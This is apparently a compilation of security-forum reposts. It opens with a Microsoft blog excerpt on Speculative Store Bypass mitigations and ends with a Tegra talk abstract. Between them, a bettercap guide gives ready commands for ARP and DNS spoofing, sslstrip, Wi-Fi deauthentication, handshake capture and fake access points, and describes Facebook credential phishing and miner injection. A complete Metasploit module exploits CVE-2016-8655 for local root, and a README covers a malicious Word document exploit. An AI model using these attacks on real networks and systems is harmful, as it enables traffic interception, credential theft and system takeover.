applicable to SSB. In our previous blog post on mitigating speculative execution side channels, we characterized the software security models that can generally be at risk and the various tactics for mitigating speculative execution side channels. We will reuse the previously established terminology from that post to frame the mitigation options available for SSB. Relevance to software security models The following table summarizes the potential relevance of SSB to the various intra-device attack scenarios that software security models are typically concerned with. As with CVE-2017-5753 (Spectre variant 1), SSB is theoretically applicable to each attack scenario as indicated by the orange cells (grey cells indicate not applicable). Attack Category Attack Scenario Conditional branch misprediction Indirect branch misprediction Exception delivery or deferral CVE-2018-3639 (SSB) Inter-VM Hypervisor-to-guest Host-to-guest Guest-to-guest Intra-OS Kernel-to-user Process-to-process Intra-process Enclave Enclave-to-any Preventing speculation techniques involving SSB As we’ve noted in the past, one of the best ways to mitigate a vulnerability is by addressing the issue as close to the root cause as possible. In the case of SSB, there are a few techniques that can be used to prevent speculation techniques that rely on SSB as the speculation primitive. Speculation barrier via serializing instruction As with CVE-2017-5753 (Spectre variant 1), it is possible to mitigate SSB by using an instruction which is architecturally defined to serialize execution, thus acting as a speculation barrier. In the case of SSB, a serializing instruction (such as an LFENCE on x86/x64 and SSBB on ARM) can be inserted between the store instruction and the load that could be speculatively executed ahead of the store. For example, inserting an LFENCE on line 2 mitigates the simplified example from this post. Additional information can be found in the C++ Developer Guidance for Speculative Execution Side Channels. 01: 88040F mov [rdi+rcx],al 02: 0FAEE8 lfence 03: 4C0FB6040E movzx r8,byte [rsi+rcx] 04: 49C1E00C shl r8,byte 0xc 05: 428B0402 mov eax,[rdx+r8] Speculative store bypass disable (SSBD) In some cases, CPUs can provide facilities for inhibiting a speculative store bypass from occurring and can therefore offer a categorical mitigation for SSB. AMD, ARM, and Intel have documented new hardware features that can be used by software to accomplish this. Microsoft is working with AMD, ARM, and Intel to assess the availability and readiness of these features. In some cases, these features will require a microcode or firmware update to be installed. Microsoft plans to provide a mitigation that leverages the new hardware features in a future Windows update. Generally applicable mitigations for SSB There are a number of previously described mitigations that are also generally applicable to SSB. These include mitigations that involve removing sensitive content from memory or removing observation channels. Generally speaking, the mitigation techniques for these two tactics that are effective against CVE-2017-5753 (Spectre variant 1) are also applicable to SSB. Applicability of mitigations The complex nature of these issues makes it difficult to understand the relationship between mitigations, speculation techniques, and the attack scenarios to which they apply. This section provides tables to help describe these relationships. Some of the mitigation techniques mentioned in the tables below are described in our previous blog post on this subject. The legend for the tables that follow is: Applicable Not applicable Mitigation relationship to attack scenarios The following table summarizes the relationship between attack scenarios and applicable mitigations. Mitigation Tactic Mitigation Name Inter-VM Intra-OS Enclave Prevent speculation techniques Speculation barrier via execution serializing instruction Security domain CPU core isolation Indirect branch speculation barrier on demand and mode change Non-speculated or safely-speculated indirect branches Speculative Store Bypass Disable (SSBD) Remove sensitive content from memory Hypervisor address space segregation Split user and kernel page tables (“KVA Shadow”) Remove observation channels Map guest memory as noncacheable in root extended page tables Do not share physical pages across guests Decrease browser timer precision Mitigation relationship to variants The following table summarizes the relationship among SSB and the Spectre and Meltdown variants, and applicable mitigations. Mitigation Tactic Mitigation Name CVE-2017-5753 (variant 1) CVE-2017-5715 (variant 2) CVE-2017-5754 (variant 3) CVE-2018-3639 (SSB) Prevent speculation techniques Speculation barrier via execution serializing instruction Security domain CPU core isolation Indirect branch speculation barrier on demand and mode change Non-speculated or safely-speculated indirect branches Speculative Store Bypass Disable (SSBD) Remove sensitive content from memory Hypervisor address space segregation Split user and kernel page tables (“KVA Shadow”) Remove observation channels Map guest memory as noncacheable in root extended page tables Do not share physical pages across guests Decrease browser timer precision Wrapping up In this post, we analyzed a new class of speculative execution side channel hardware vulnerabilities known as Speculative Store Bypass (SSB). This analysis provided the basis for evaluating the risk associated with this class of vulnerability and the mitigation options that exist. As we noted in our previous post, research into speculative execution side channels is ongoing and we will continue to evolve our response and mitigations as we learn more. While we currently assess the risk of SSB as low, we encourage researchers to help further our understanding of the true risk and to report any exploitable instances of CVE-2018-3639 that may exist as part of our Speculative Execution Side Channel bounty program. Matt Miller Microsoft Security Response Center (MSRC) Sursa: https://blogs.technet.microsoft.com/srd/2018/05/21/analysis-and-mitigation-of-speculative-store-bypass-cve-2018-3639/

bettercap 2.x: how to install and use in Kali Linux Table of contents 1. Difference between bettercap 2 and bettercap 1.6 2. How to install bettercap 2 in Kali Linux 3. Download and install the latest version of bettercap 4. bettercap usage guide 4.1 Local network monitoring 4.2 Interactive and non-interactive mode. The -eval and -caplet options. Caplets 4.3 How to run spoofing and sniffing in bettercap 4.4 Transparent HTTP proxy 4.5 DNS spoofing in bettercap 4.6 Built-in web server in bettercap 4.7 Wi-Fi networks monitoring 4.8 Capture handshakes in bettercap 4.9 Creating a fake access point 5. Review of bettercap caplets 5.1 BeEF hooking 5.2 Miner injection 5.3 Replacing the uploaded file with the payload 5.4 Stealing Facebook passwords 5.5 Collection of HTTP requests 5.6 Collection of logins and passwords with invisible forms 5.7 Redirect IPv4 DNS queries using DHCPv6 responses 5.8 Testing the http.proxy script 5.9 Passwords sniffer 5.10 Changing the prompt of the interactive bettercap session 5.11 Changing the contents of requested web pages 6. Installing bettercap from the source code in Kali Linux Conclusion Difference between bettercap 2 and bettercap 1.6 At the end of February 2018, bettercap 2 was released and since then this version is actively developing, new functions are added to it. bettercap 1.6 is deprecated and no longer supported. In the latest versions of bettercap, there are a lot of changes: the program was re-written in another programming language, instead of Ruby, using Go. Thanks to the change in language and other methods, productivity increased dramatically, optimized CPU and memory usage. The model of interaction with the program has changed: before it was a command line utility, various options were used while launching. A new version can also be run in a non-interactive mode, using options, but now an interactive mode is available, as well as an API. Even the purpose of the program has changed: it used to be a modular platform for implementing complex man-in-the-middle attacks, now, in addition to supporting man-in-the-middle attacks, there is also functionality for network monitoring, 802.11 and BLE wireless networks monitoring and attacking . The program functions became more atomized, for example, to launch the most common middle-man attack, consisting of ARP spoofing and sniffing, now you need to enter several commands (there was only one option before). This increases the flexibility of program usage, but at the same time complicates usage. To automate the work of the program and simplify the usage, ones can use caplets that control the work of bettercap and its modules. Examples of caplets are collected in the repository https://github.com/bettercap/caplets. And this is not even all the changes! It's worth mentioning that native Go plug-ins are supported (via the package.proxy module), some modules support the JavaScript scripting language for data manipulating and controlling the behavior of the program, and the program itself and its caplets support native system commands. In general, it's just another program, in which everything is new. How to install bettercap 2 in Kali Linux In the Kali Linux repositories, there is bettercap already, but at the time of writing there is an outdated 1.6.2 version. To check which version of bettercap is currently available for installation from official repositories, run: 1 apt-cache show bettercap | grep 'Version: ' If there is version 2.x, then you just need to install it: 1 sudo apt install bettercap Download and install the latest version of bettercap Remove the outdated version of bettercap if it was installed earlier: 1 2 sudo apt remove bettercap sudo rm /usr/local/bin/bettercap Fix for an already installed library: 1 ln -s /usr/lib/x86_64-linux-gnu/libpcap.so.1.8.1 /usr/lib/x86_64-linux-gnu/libpcap.so.1 Download the archive with the binary file of bettercap latest version: 1 wget "https://github.com`curl -s https://github.com/bettercap/bettercap/releases | grep -E -o '/bettercap/bettercap/releases/download/v[0-9.]+/bettercap_linux_amd64_[0-9.]+zip' | head -n 1`" We unpack, move, clean and check: 1 2 3 4 unzip bettercap_linux_amd64_*zip sudo mv bettercap /usr/local/bin/ rm README.md LICENSE.md bettercap_linux_amd64_*.zip bettercap -h Installing bettercap from the source code will be discussed at the end of the article. bettercap usage guide Now the main functional feature of bettercap is not only the man in a middle attacks. Thanks to caplets and scripts, it is possible to implement a variety of phishing attacks and attacks based on data manipulation, the starting point of which is a man-in-the-middle attack. For this reason, it's not easy to write exhaustive manual for bettercap. To approximate the possibilities of the program, read the documentation, and also get acquainted with the repository of caplets: many of them have comments in the source code that help to understand what the program will do exactly. In the following, very simple examples of starting bettercap will be considered. Let's start with using an interactive session, to do this, run bettercap: 1 sudo bettercap Local network monitoring To list the detected hosts on the local network, type: 1 net.show This is a passive method of monitoring, since the search for hosts is based on reading of the ARP cache. To exit the program, type q or press CTRL+z. And the net.probe module actively searches for hosts, sending dummy UDP packets to every possible IP in the subnet. To enable this module: 1 net.probe on We look at the detected hosts: 1 net.show This is an active method since network analyzers will see that a computer with bettercap massively sends packets. With bettercap, you can continuously monitor the network status by obtaining on-screen data in real-time, for this, run sequentially: 1 2 net.probe on ticker on The first net.probe on command, as we found out a little earlier, enable an active search for hosts, and the second command is used to execute a given set of commands periodically. Since we did not specify which commands to execute, the default executed commands are clear; net.show, the result is an interesting effect: in the background it is constantly searching for hosts, and information is displayed on the screen in real time. Interactive and non-interactive mode. The -eval and -caplet options. Caplets If you are uncomfortable to run bettercap interactively every time, you can use the -eval option, after which specify the commands that you want to run. For example, the previous example is equivalent to this: 1 sudo bettercap -eval "net.probe on; ticker on" Right in the interactive session, bettercap, you can execute the system commands. For example, the following set of commands checks if there is a connection to the WAN: 1 ping -c 1 google.com >/dev/null 2>&1 && echo "Connected" || echo "Not connected" This same command (set of commands) can be performed right in the interactive session, just before the first command put an exclamation mark: 1 !ping -c 1 google.com >/dev/null 2>&1 && echo "Connected" || echo "Not connected" Now we will monitor local network and Internet access availability. We launch an active search for local hosts: 1 net.probe on We set the value of the ticker.commands variable, there are now three commands: two are already known bettercap internal commands (these are clear; net.show;) and one more is the set of system commands: 1 set ticker.commands 'clear; net.show; !ping -c 1 google.com >/dev/null 2>&1 && echo "Connected" || echo "Not connected"' If desired, you can increase the period to three seconds (the default is one second): 1 set ticker.period 3 Run the task cyclically: 1 ticker on In the results of execution, pay attention to the new ‘Connected’ line: Using the -eval option, you can run this all in this way: 1 sudo bettercap -eval 'net.probe on; set ticker.commands "clear; net.show; !ping -c 1 google.com >/dev/null 2>&1 && echo "Connected" || echo "Not connected""; set ticker.period 3; ticker on' But in addition to the -eval option, there is also the -caplet option, which also allows you to run the program with the specified commands. Let's create our first caplet. To do this, create a text file named netmon.cap (you can choose any name): 1 gedit netmon.cap And just copy all our commands to it, which we entered in the interactive session, we should get the following file: 1 2 3 4 5 net.probe on # Note the absence of quotes in this example and the quotes in the previous ones: set ticker.commands clear; net.show; !ping -c 1 google.com >/dev/null 2>&1 && echo "Connected" || echo "Not connected" set ticker.period 3 ticker on Now run bettercap with the -caplet option, after which we'll specify the path to the file with a caplet: 1 sudo bettercap -caplet ./netmon.cap How to run spoofing and sniffing in bettercap Let's start with the launch of ARP spoofing: 1 arp.spoof on By default, the attack is performed on the entire subnet, so if ARP spoofing works poorly, set the IP targets using the arp.spoof.targets variable. Its value can be one IP or several IPs separated by a comma, for example: 1 set arp.spoof.targets 192.168.0.90 To see all available host in your local network: 1 net.show Values of variables must be set before the corresponding module is run. If you need to change the value of a variable of an already running module, stop the module, set the new value and restart the module, for example: 1 2 3 arp.spoof off set arp.spoof.targets 192.168.0.90 arp.spoof on For the sniffer, if desired, you can reduce the level of verbality: 1 set net.sniff.verbose false Run the sniffer: 1 net.sniff on Transparent HTTP proxy To analyze HTTP traffic, you must enable http.proxy. If it is used in conjunction with spoofing, all HTTP traffic will be redirected to it and, if necessary, it will automatically handle port forwarding. If you want to use sslstrip, you must change the value of the http.proxy.sslstrip variable, which is set to false by default: 1 set http.proxy.sslstrip true To enable transparent HTTP proxy: 1 http.proxy on A full list of commands for attacking the local IP 192.168.0.90, as a result, continuous ARP spoofing of this address will be performed, which will cause the traffic to be redirected to the attacker's machine, to a transparent HTTP proxy, where, if possible, downgrade from HTTPS to HTTP will be performed using sslstrip, the verbality of the sniffer is lowered to show really important data: 1 2 3 4 5 6 set http.proxy.sslstrip true set net.sniff.verbose false set arp.spoof.targets 192.168.0.90 arp.spoof on http.proxy on net.sniff on To attack the whole subnet, skip the set arp.spoof.targets IP line. DNS spoofing in bettercap The DNS query is replaced by the dns.spoof module. You can configure it before starting it. By default, all domains will be spoofed, if you want to change this, then set them by the value of the dns.spoof.domains variable as comma separated list. For example, I want to spoof only two domains suip.biz and mi-al.ru, then: 1 set dns.spoof.domains suip.biz, mi-al.ru By default, DNS server send IP pointing to the interface address of the machine on which bettercap is launched. The IP address changes through the dns.spoof.address variable: 1 set dns.spoof.address desired_IP This module will only respond to requests that target the local PC; to respond to everything, set the value of the dns.spoof.all variable to true: 1 set dns.spoof.all true To run the module: 1 dns.spoof on Built-in web server in bettercap To process requests to the web server, you can use the server installed on your system, for example, Kali Linux has Apache and you just have to run it: 1 systemctl start apache2 Bettercap also has a built-in simple web server that can render HTML pages and other static files, such as JavaScript, CSS, pictures, etc. You must specify the address of the server folder by changing the value of the http.server.path variable : 1 set http.server.path /path/to/folder To start the web server (the system server, for example, Apache, should be stopped, because there may be a conflict due to the fact that different programs try to listen on the same port): 1 http.server on Wi-Fi networks monitoring This is a new bettercap feature. By the way, Bluetooth Low Energy support has also been added. To work with Wi-Fi, you need to use the -iface option, after which you can specify the name of the wireless interface: 1 sudo bettercap -iface wlan0 In the event that you will have errors raised by the previous command, for example: 1 2 Can't restore interface wlan0 wireless mode (SIOCSIWMODE failed: Bad file descriptor). Please adjust manually. Then quit bettercap and manually set the wireless interface to monitor mode. For example, as follows: 1 2 3 sudo ip link set wlan0 down sudo iw wlan0 set monitor control sudo ip link set wlan0 up Now that the wireless interface is in monitor mode, run bettercap again and enter the command: 1 wifi.recon on It starts Wi-Fi devices detection: If you want to limit to monitoring only certain channels, then execute a command like this (it sets the jumping only on the first three channels): 1 wifi.recon.channel 1,2,3 By the way, if later you need to clear the list of channels (make the program jumps on all channels), then the following command is used for this: 1 wifi.recon.channel clear To display the results, type: 1 wifi.show The next set of commands will start gathering information about Wi-Fi devices, will display a table with a full list of detected access points, as well as a list of the last 20 detections: 1 2 3 set ticker.commands 'clear; wifi.show; net.show; events.show 20' wifi.recon on ticker on Capture handshakes in bettercap Yes, bettercap now knows how to do this, and also knows how to perform the deauthentication attack. If we want to capture a handshake from a specific access point, then we need to know the channel on which it works. This is enough if we are going to passively wait for the client to connect/reconnect to the AP. To perform the deauthentication attack, we need to know the BSSID of the access point (in this case, the attack will be performed against all clients) or the BSSID of the client (in this case, the attack will be performed against one client). Let's start with the sniffer configuration. Let's make it verbal: 1 set net.sniff.verbose true Set up the filter for the handshake frames: 1 set net.sniff.filter ether proto 0x888e We set up saving the received data to the wpa.pcap file: 1 set net.sniff.output /root/wpa.pcap Run the sniffer: 1 net.sniff on The Sniffer is run the same way every time. The further values of the variables depend on the target being attacked. The target I want to attack is working on channel 8, so I set the channel: 1 wifi.recon.channel 8 Run the network analysis: 1 wifi.recon on I'm interested in AP with BSSID 50:46:5d:6e:8c:20, I can enable the filter: 1 wifi.recon 50:46:5d:6e:8c:20 The following two commands are optional, they will periodically clear the screen and display a table with the seen base stations (you can see if there are any clients at the attacked Access Points), if you do not want to, skip these commands: 1 2 set 'ticker.commands clear; wifi.show' ticker on We proceed to deauthentication. The attack can be performed in two forms: 1 wifi.deauth AP-BSSID or: 1 wifi.deauth CLIENT-BSSID In the first case, all clients will be deauthenticated, in the second case, only a specified client will be deauthenticated. I want to deauthenticate all access point clients, then my command: 1 wifi.deauth 50:46:5d:6e:8c:20 A file with captured frames can be opened for verification in Wireshark: To filter out handshakes, use the filter: 1 llc.type == 0x888e Or the filter: 1 eapol In addition to bettercap, there are already enough programs that can capture handshakes. The advantage of bettercap is that we can automate the process. For example, the following command checks the capture file and displays information about the handshake(s) if they are found there: 1 tshark -r /root/wpa.pcap -R 'eapol' -2 2>/dev/null A little more verbal command: 1 if [ "`tshark -r /root/wpa.pcap -R 'eapol' -2 2>/dev/null`" ]; then echo "Got handshake!"; else echo "Nothing"; fi; We need the previous command to write a caplet, which will work according to the following logic: when started, launches a sniffer to capture a handshake launches deauthentication attack checks whether the handshake was captured if the handshake is captured - shutdown bettercap if the handshake is not captured, return to step 2 For this, I create a file HS_capture_50465d6e8c20.cap with the following contents: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 # Setting up the sniffer set net.sniff.verbose true set net.sniff.filter ether proto 0x888e set net.sniff.output /root/wpa.pcap net.sniff on # Configuring and starting the analysis of wireless networks; channel and BSSID replace with your values wifi.recon.channel 8 wifi.recon on sleep 20 wifi.recon 50:46:5d:6e:8c:20 # Performing the deauthentication attack, sleeping for 60 seconds, checking if a handshake was captured, # if yes, then quitting bettercap. # Note that if you changed the name of the file where the handshake is saved, you also need to change # it here - /root/wpa.pcap, and also replace BSSID with the attacked AP set ticker.commands wifi.deauth 50:46:5d:6e:8c:20; sleep 60; !'if [ "`tshark -r /root/wpa.pcap -R 'eapol' -2 2>/dev/null`" ]; then echo "Got handshake! Quit."; sleep 1; pkill -1 bettercap; else echo "Yet not captured"; fi;' # Period of the cycle - only one second is set here, because in the previous set of commands there is a sleep 60; # which sets the sleep for 60 seconds: set ticker.period 1 # Run cyclic execution of commands ticker on Running bettercap 1 sudo bettercap -iface wlan0 -caplet ./HS_capture_50465d6e8c20.cap The program will work until it grabs the handshake. But after grabbing a handshake, bettercap will finish its work and no longer bother network clients. Creating a fake access point Among the Wi-Fi functions, it is possible to create a fake access point with or without encryption. Create a fake access point "Banana" with BSSID DE:AD:BE:EF:DE:AD on channel 5 without encryption: 1 2 3 4 5 set wifi.ap.ssid Banana set wifi.ap.bssid DE:AD:BE:EF:DE:AD set wifi.ap.channel 5 set wifi.ap.encryption false wifi.recon on; wifi.ap As you can see, there is a lot of options for automation and various combined attacks, including automated attacks based on social engineering. Review of bettercap caplets As already mentioned, the caplets are placed in the official repository. There are some very simple examples that automate several typical actions, and quite complex implementations of modern attacks. BeEF hooking BeEF is a platform for web browsers exportation. To start, you need to embed the JavsScript code in a web page. The beef-passive.cap and beef-active.cap do just that. The beef-inject.js file controls the insertion, so if you want to change the address or port of the Javscript file, you need to edit this file. Before starting this attack, you need to start the BeEF service, or edit the caplets by adding the appropriate command. The first caplet insert the JavsScript file passively, the second one is active, using traffic redirection from other hosts using ARP spoofing. Miner injection crypto-miner.cap inject the miner. You need to enter your own key by editing the crypto-miner.js file. Replacing the uploaded file with the payload This module lets you intercept very specific download requests and replaces with the payload of your choice. In order for a download to get intercepted: 1. the victim's user-agent string must match the downloadautopwn.useragent.x regexp value 2. the requested file must match one of the downloadautopwn.extensions.x file extensions you can find the downloadautopwn.devices in the caplets/download-autopwn/ folder (you can add your own) The configuration is performed in download-autopwn.cap. In the pair is a download-autopwn.js file, which is NOT intended for implementation in the browser, it is used as a script for the http.proxy module (that is, it manages bettercap behavior and traffic manipulation). If someone uploaded a payload: Stealing Facebook passwords The fb-phish.cap applet shows a fake Facebook login page on port 80, interrupts login attempts using http.proxy, prints credentials, and redirects the target to a real Facebook. In the pair there is a fb-phish.js file, which is a script for the http.proxy module. You need to take care of creating a fake login page and starting the server. In this you will be helped by the Makefile file with the instructions (if you have the caplet repository downloaded, at the Bash command line execute): 1 2 cd caplets/www/ make Then in bettercap: 1 2 3 4 5 6 7 set http.server.address 0.0.0.0 set http.server.path caplets/www/www.facebook.com/ set http.proxy.script caplets/fb-phish.js http.proxy on http.server on Collection of HTTP requests Execute an ARP spoofing attack on the whole network (by default) or on a host (using -eval as described), intercept HTTP and HTTPS requests with the http.proxy and https.proxy modules and dump them using the http-req-dumsp.js proxy script. Collection of logins and passwords with invisible forms The essence of the attack is as follows: if on a web site you previously entered a login and password, then if there is a form on the page, the browser automatically fills in the data entered earlier. Firefox does this right away, Chrome requires any user interaction - for example, clicking anywhere on the web page. This form can be invisible. So, the attacker injects onto the site pages an invisible form into which the browser itself enters the login and password, the form transmits data to the attacker. This is implemented in the login-man-abuse.cap caplet. There is a demo page where you can see an example of the attack: enter any e-mail and password, then you will be transferred to another page that "guesses" what you entered earlier. Redirect IPv4 DNS queries using DHCPv6 responses Description of the attack: https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/ The approximate essence is that in modern versions of Windows, the system is set to give preference to IPv6. The attacker responds with DHCPv6 messages, provides the link-local IPv6 address and specifies the attacker's host as the DNS server. Next, DNS spoofing attack is performed. The attack is implemented in mitm6.cap. Testing the http.proxy script The proxy-script-test.cap plugin will help you test JavaScript script work. In the pair there is a proxy-script-test.js file. Passwords sniffer simple-passwords-sniffer.cap caplet is a really very simple example of data searching based on regular expression. It uses commands: 1 2 set net.sniff.regexp .*password=.+ set net.sniff.output passwords.cap Changing the prompt of the interactive bettercap session You can customize the prompt to which you enter commands. Including you can show in it useful information. An example with statistics output is contained in test-prompt-stats.cap. Changing the contents of requested web pages The web-override.cap caplet overwrites any loaded page with the one the attacker specified. The pair is the web-override.js file, this is the http.proxy module, and it describes the actions that are performed, for example, which page to display. You can write your own caplets, if you want, you can offer interesting examples to add to the repository. Installing bettercap from the source code in Kali Linux You must install the Go compiler. Open the .bashrc file in the user directory with any text editor: 1 gedit ~/.bashrc And to create new environment variables, add the following lines to this file: 1 2 3 echo 'export GOPATH=/home/git/go' >> ~/.bashrc echo 'export GOROOT=/usr/local/src/go' >> ~/.bashrc echo 'export PATH=${PATH}:$GOROOT/bin' >> ~/.bashrc When you are ready, save your changes and close the file. These changes will take effect after the reboot. Instead of restarting the computer, run: 1 source ~/.bashrc The following command automatically detects and downloads the latest version of the Go language files: 1 wget `curl -s https://golang.org/dl/ | grep -E -o 'https://[a-z0-9./]{5,}go[0-9.]{3,}linux-amd64.tar.gz' | head -n 1` Extract the downloaded archive: 1 tar zxf go*.linux-amd64.tar.gz Change the directory to $GOROOT, which we specified in ~/.bashrc. 1 sudo mv go $GOROOT Install the packages necessary for compilation: 1 sudo apt install bison byacc libpcap0.8-dev pkg-config libnetfilter-queue-dev Fix for an already installed library: 1 ln -s /usr/lib/x86_64-linux-gnu/libpcap.so.1.8.1 /usr/lib/x86_64-linux-gnu/libpcap.so.1 Download the source code, compile, install: 1 go get github.com/bettercap/bettercap To update the program: 1 go get -u github.com/bettercap/bettercap Conclusion As you can see, bettercap from a simple and fun program for man-in-the middle attacks has grown into a powerful multifunctional tool. To simplify routine activities, you can write small caps in several commands: for example, to run sniffing on a local network, or to collect information about Wi-Fi networks. Sursa: https://miloserdov.org/?p=1112

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'AF_PACKET chocobo_root Privilege Escalation', 'Description' => %q{ This module exploits a race condition and use-after-free in the packet_set_ring function in net/packet/af_packet.c (AF_PACKET) in the Linux kernel to execute code as root (CVE-2016-8655). The bug was initially introduced in 2011 and patched in 2016 in version 4.4.0-53.74, potentially affecting a large number of kernels; however this exploit targets only systems using Ubuntu (Trusty / Xenial) kernels 4.4.0 < 4.4.0-53, including Linux distros based on Ubuntu, such as Linux Mint. The target system must have unprivileged user namespaces enabled and two or more CPU cores. Bypasses for SMEP, SMAP and KASLR are included. Failed exploitation may crash the kernel. This module has been tested successfully on Linux Mint 17.3 (x86_64); Linux Mint 18 (x86_64); and Ubuntu 16.04.2 (x86_64) with kernel versions 4.4.0-45-generic and 4.4.0-51-generic. }, 'License' => MSF_LICENSE, 'Author' => [ 'rebel', # Discovery and chocobo_root.c exploit 'Brendan Coles' # Metasploit ], 'DisclosureDate' => 'Aug 12 2016', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'AKA', 'chocobo_root.c' ], [ 'EDB', '40871' ], [ 'CVE', '2016-8655' ], [ 'BID', '94692' ], [ 'URL', 'http://seclists.org/oss-sec/2016/q4/607' ], [ 'URL', 'http://seclists.org/oss-sec/2016/q4/att-621/chocobo_root_c.bin' ], [ 'URL', 'https://github.com/bcoles/kernel-exploits/blob/master/CVE-2016-8655/chocobo_root.c' ], [ 'URL', 'https://bitbucket.org/externalist/1day_exploits/src/master/CVE-2016-8655/CVE-2016-8655_chocobo_root_commented.c' ], [ 'URL', 'https://usn.ubuntu.com/3151-1/' ], [ 'URL', 'https://www.securitytracker.com/id/1037403' ], [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=84ac7260236a49c79eede91617700174c2c19b0c' ] ], 'DefaultTarget' => 0)) register_options [ OptInt.new('TIMEOUT', [ true, 'Race timeout (seconds)', '600' ]), OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), ] end def timeout datastore['TIMEOUT'].to_i end def base_dir datastore['WritableDir'].to_s end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data end def upload_and_chmodx(path, data) upload path, data cmd_exec "chmod +x '#{path}'" end def upload_and_compile(path, data) upload "#{path}.c", data gcc_cmd = "gcc -o #{path} #{path}.c -lpthread" if session.type.eql? 'shell' gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}" end output = cmd_exec gcc_cmd rm_f "#{path}.c" unless output.blank? print_error output fail_with Failure::Unknown, "#{path}.c failed to compile" end cmd_exec "chmod +x #{path}" end def exploit_data(file) path = ::File.join Msf::Config.data_directory, 'exploits', 'CVE-2016-8655', file fd = ::File.open path, 'rb' data = fd.read fd.stat.size fd.close data end def live_compile? return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') if has_gcc? vprint_good 'gcc is installed' return true end unless datastore['COMPILE'].eql? 'Auto' fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.' end end def check version = kernel_release unless version =~ /^4\.4\.0-(21|22|24|28|31|34|36|38|42|43|45|47|51)-generic/ vprint_error "Linux kernel version #{version} is not vulnerable" return CheckCode::Safe end vprint_good "Linux kernel version #{version} is vulnerable" arch = kernel_hardware unless arch.include? 'x86_64' vprint_error "System architecture #{arch} is not supported" return CheckCode::Safe end vprint_good "System architecture #{arch} is supported" cores = get_cpu_info[:cores].to_i min_required_cores = 2 unless cores >= min_required_cores vprint_error "System has less than #{min_required_cores} CPU cores" return CheckCode::Safe end vprint_good "System has #{cores} CPU cores" unless userns_enabled? vprint_error 'Unprivileged user namespaces are not permitted' return CheckCode::Safe end vprint_good 'Unprivileged user namespaces are permitted' CheckCode::Appears end def exploit if check != CheckCode::Appears fail_with Failure::NotVulnerable, 'Target is not vulnerable' end if is_root? fail_with Failure::BadConfig, 'Session already has root privileges' end unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true' fail_with Failure::BadConfig, "#{base_dir} is not writable" end # Upload exploit executable executable_name = ".#{rand_text_alphanumeric rand(5..10)}" executable_path = "#{base_dir}/#{executable_name}" if live_compile? vprint_status 'Live compiling exploit on system...' upload_and_compile executable_path, exploit_data('chocobo_root.c') else vprint_status 'Dropping pre-compiled exploit on system...' upload_and_chmodx executable_path, exploit_data('chocobo_root') end # Upload payload executable payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}" upload_and_chmodx payload_path, generate_payload_exe # Launch exploit print_status "Launching exploit (Timeout: #{timeout})..." output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}", nil, timeout output.each_line { |line| vprint_status line.chomp } print_status "Cleaning up #{payload_path} and #{executable_path}.." rm_f executable_path rm_f payload_path end end Sursa: https://www.exploit-db.com/exploits/44696/?rss&amp;utm_source=dlvr.it&amp;utm_medium=twitter

CVE-2018-8174-msf This is a metasploit module which creates a malicious word document to exploit CVE-2018-8174 - VBScript memory corruption vulnerability. This module is a very quick port and uses the exploit sample that was found in the wild. The exploit works only for Microsoft Office 32-bit. There are a lot of things that need to get better at this module but I will update it in the future if I find some time. Installation Copy the CVE-2018-8174.rb to /usr/share/metasploit-framework/modules/exploits/windows/fileformat/ Copy the CVE-2018-8174.rtf to /usr/share/metasploit-framework/data/exploits/ The exploit doesn't work very well with meterpreter shellcode so it's better to use non-staged reverse shell. Disclaimer DO NOT USE THIS SOFTWARE FOR ILLEGALL PURPOSES. THE AUTHOR DOES NOT KEEP ANY RESPONSIBILITY FOR ANY MISUSE OF THE CODE PROVIDED HERE. Sursa: https://github.com/0x09AL/CVE-2018-8174-msf

Tegra is NVIDIA’s embedded Android/Linux development platform featuring a powerful SOC. It is widely used in various types of devices such as smartphones, game consoles, and of course the automotive systems. Based on the Tegra-powered processors, the Tesla car boasts advanced infotainment and instrument cluster systems. So that during the last two years of Tesla security research, we gained lots of experience related to the Tegra platform. In this talk, we briefly analyze some known vulnerabilities related to Tegra, and then we will talk about the implementation of NVMAP, which is a unified memory management interface on Tegra. finally, we’ll share some interesting vulnerabilities we found in the NVMAP interface, such as denial of service, sensitive memory leak, and local privilege escalation. *** Sen Nie is a security researcher of Keen Lab. Currently his research is mainly focused on car hacking, before that he has many years’ research experiences on program analysis, such as symbolic execution, smart fuzzing and other vulnerability detection technologies.